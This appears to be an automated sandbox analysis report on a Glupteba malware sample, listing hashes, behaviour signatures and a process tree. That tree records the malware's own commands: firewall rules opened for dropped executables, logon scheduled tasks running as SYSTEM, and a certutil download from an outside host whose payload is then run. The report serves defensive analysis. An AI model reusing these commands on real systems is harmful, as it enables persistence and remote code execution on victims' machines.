Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04-06-2024 15:58

General

  • Target

    956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe

  • Size

    3.7MB

  • MD5

    956f93f6ca80f29e965e060671f9fe49

  • SHA1

    ae17dc8820837dc4f627351c5a2e8534b1690202

  • SHA256

    9a59d10aa896213b14ce316e37e1cf143beae3e218fa1a0a59a4e8fb12d36d14

  • SHA512

    482c107e3789fdf16fc6d62121647afa9b7138400d4401b476683f842726105cb1a96ae479082f52b1ad4ee79dfbdc68c8efbb8988d467f8f62fa31db4997af1

  • SSDEEP

    49152:nX1I6sBjwK2GkA8jGyGaeqm2c4LhMNXPllwEU/UHVzPbt02n1seshOGsfNRsH3km:XKBoG+jVeR2Jh8dlu6PBN1Wy7sa7K

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:5076
    • C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\956f93f6ca80f29e965e060671f9fe49_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3720
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4276
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:780
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\11bb71ef4e34\11bb71ef4e34.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4236
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1700
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:1088
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:1124
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4156
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2788
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3620 --field-trial-handle=3060,i,1774866140584649235,8085848018931772189,262144 --variations-seed-version /prefetch:8
    1⤵
      PID:3912

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

      Filesize

      1.7MB

      MD5

      13aaafe14eb60d6a718230e82c671d57

      SHA1

      e039dd924d12f264521b8e689426fb7ca95a0a7b

      SHA256

      f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

      SHA512

      ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

    • C:\Windows\rss\csrss.exe

      Filesize

      3.7MB

      MD5

      956f93f6ca80f29e965e060671f9fe49

      SHA1

      ae17dc8820837dc4f627351c5a2e8534b1690202

      SHA256

      9a59d10aa896213b14ce316e37e1cf143beae3e218fa1a0a59a4e8fb12d36d14

      SHA512

      482c107e3789fdf16fc6d62121647afa9b7138400d4401b476683f842726105cb1a96ae479082f52b1ad4ee79dfbdc68c8efbb8988d467f8f62fa31db4997af1

    • memory/1388-8-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1388-16-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1388-10-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1388-9-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-21-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-28-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-33-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-32-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-31-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-30-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-29-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-22-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-23-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-24-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-25-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-26-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/1700-27-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB

    • memory/5076-6-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/5076-1-0x00000000016F0000-0x0000000001A9D000-memory.dmp

      Filesize

      3.7MB

    • memory/5076-2-0x0000000001AA0000-0x000000000219C000-memory.dmp

      Filesize

      7.0MB

    • memory/5076-3-0x0000000000400000-0x0000000000B16000-memory.dmp

      Filesize

      7.1MB

    • memory/5076-5-0x0000000001AA0000-0x000000000219C000-memory.dmp

      Filesize

      7.0MB

    • memory/5076-4-0x0000000000400000-0x0000000001319000-memory.dmp

      Filesize

      15.1MB